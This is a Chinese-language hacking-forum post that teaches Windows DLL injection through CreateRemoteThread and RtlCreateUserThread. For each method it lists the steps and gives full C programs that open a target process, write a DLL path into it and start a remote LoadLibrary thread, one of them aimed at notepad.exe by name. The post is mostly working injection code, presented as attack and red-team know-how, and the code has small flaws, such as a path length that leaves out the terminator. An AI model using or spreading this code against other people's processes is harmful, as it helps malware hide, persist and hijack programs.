Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

reateRemoteThread远程线程 注入

 Share


Recommended Posts

CreateRemoteThread远程线程调用

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 等待远程线程结束(卸载DLL)

#include "stdafx.h"
#include <Windows.h>
int main(int argc,char *argv[])
{
        DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD |  PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
        BOOL bInheritHandle=0;
        DWORD dwProcessId;
        PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径
        int dlllen = lstrlen(dllPath);
        int dllbytes = dlllen * 2; //计算dll路径长度
        if (argc == 2) {
               dwProcessId = atoi(argv[1]);
        }
        else {
               printf("Example:test.exe <process_id>\n");
               exit(1);
        }
        HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄
        if (process==0){
               printf("[-] OpenProcess failure,Error code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] OpenProcess Sucess\n");
        }
        LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
        if (vallex == 0) {
               printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] VirtualAllocEx Sucess\n");
        }
        if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
               printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] WriteProcessMemory Sucess\n");
        }
        FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")),  "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] GetProcAddress Sucess\n");
        }
        HANDLE createthread_ = CreateRemoteThread(process, 0, 0,  LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
        if (createthread_ == 0) {
               printf("[-] createthread failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] CreateRemoteThread Sucess\n");
               WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
        }
        return 0;
}

注入测试

wBJ7rD.png

RtlCreateUserThread DLL远程注入

RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 在卸载的时候会此DLL

 

#include "stdafx.h"
#include <Windows.h>
#include <tlhelp32.h>
typedef DWORD(WINAPI * pRtlCreateUserThread)(
        HANDLE      ProcessHandle,
        PSECURITY_DESCRIPTOR  SecurityDescriptor,
        BOOL      CreateSuspended,
        ULONG     StackZeroBits,
        PULONG     StackReserved,
        PULONG     StackCommit,
        LPVOID     StartAddress,
        LPVOID     StartParameter,
        HANDLE      ThreadHandle,
        LPVOID     ClientID
        );
DWORD findbyname(WCHAR *name) {
        HANDLE p;
        PROCESSENTRY32W p2;
        p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        p2.dwSize = sizeof(PROCESSENTRY32);
        printf("Proces Listlen:%d\n", p2.dwSize);
        BOOL besult = Process32FirstW(p, &p2);
        int calc = 0;
        while (besult!=FALSE) {
               int pid = p2.th32ProcessID;
               WCHAR *processname = p2.szExeFile;
               if (wcscmp(processname, name) == 0) {
                       printf("%d ", pid);
                       wprintf(processname);
                       printf("\n");
                       return pid;
               }
               besult=Process32NextW(p,&p2);
               calc++;
        }
        return 0;
}
void Errorcode() {
        printf(",Error Code:%d\n", GetLastError());
        exit(1);
}
DWORD dllinject(LPCSTR dll,int pid) {
        HANDLE h;
        h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        if (h == 0) {
               printf("[-] OpenProcess failure");
               Errorcode();
        }
        printf("[*] OpenProcess Sucess\n");
        LPVOID moduleaddress =  (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA");
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress LoadLibraryW failure");
               Errorcode();
        }
        printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n",  moduleaddress);
        pRtlCreateUserThread RtlCreateUserThread = NULL;
        RtlCreateUserThread =  (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),  "RtlCreateUserThread");
        if (RtlCreateUserThread == 0) {
               printf("[-] GetProcAddress RtlCreateUserThread failure");
               Errorcode();
        }
        printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n",  RtlCreateUserThread);
        //DWORD dwSize = (strlen(dll) + 1) * sizeof(char);
        SIZE_T dwSize = strlen(dll);
        LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (vt == 0) {
               printf("[-] VirtualAllocEx failure");
               Errorcode();
        }
        printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt);
        BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0);
        if (dlladdress == 0) {
               printf("[-] WriteProcessMemory failure");
               Errorcode();
        }
        printf("[*] WriteProcessMemory Sucess\n");
        HANDLE hRemoteThread = NULL;
         RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL);
        printf("%d\n", GetLastError());
        if (hRemoteThread ==0) {
               printf("[-] RtlCreateUserThread failure");
               Errorcode();
               return 1;
        }
        printf("[*] RtlCreateUserThread Sucess\n");
        printf("[+] Dll Inject Sucess\n");
        return 0;
}
int main()
{
        WCHAR *processname = TEXT("notepad.exe");
        LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll";
        printf("DLL PATH:");
        printf("\n");
        int pid=findbyname(processname);
        dllinject(dllpath, pid);
        system("pause");
    return 0;
}

Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...